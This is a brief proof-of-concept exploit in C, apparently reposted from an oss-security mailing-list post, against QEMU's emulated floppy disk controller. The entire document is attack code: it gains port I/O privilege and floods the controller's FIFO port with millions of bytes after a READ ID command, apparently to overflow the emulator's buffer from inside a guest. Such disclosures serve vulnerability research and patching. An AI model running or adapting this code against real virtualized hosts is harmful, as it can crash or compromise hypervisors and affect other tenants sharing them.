QEMU – Floppy Disk Controller (FDC) (PoC)
// Source: https://marc.info/?l=oss-security&m=143155206320935&w=2 #include <sys/io.h> #define FIFO 0x3f5 int main() { int i; iopl(3); outb(0x0a,0x3f5); /* READ ID */ for (i=0;i<10000000;i++) outb(0x42,0x3f5); /* push */ } |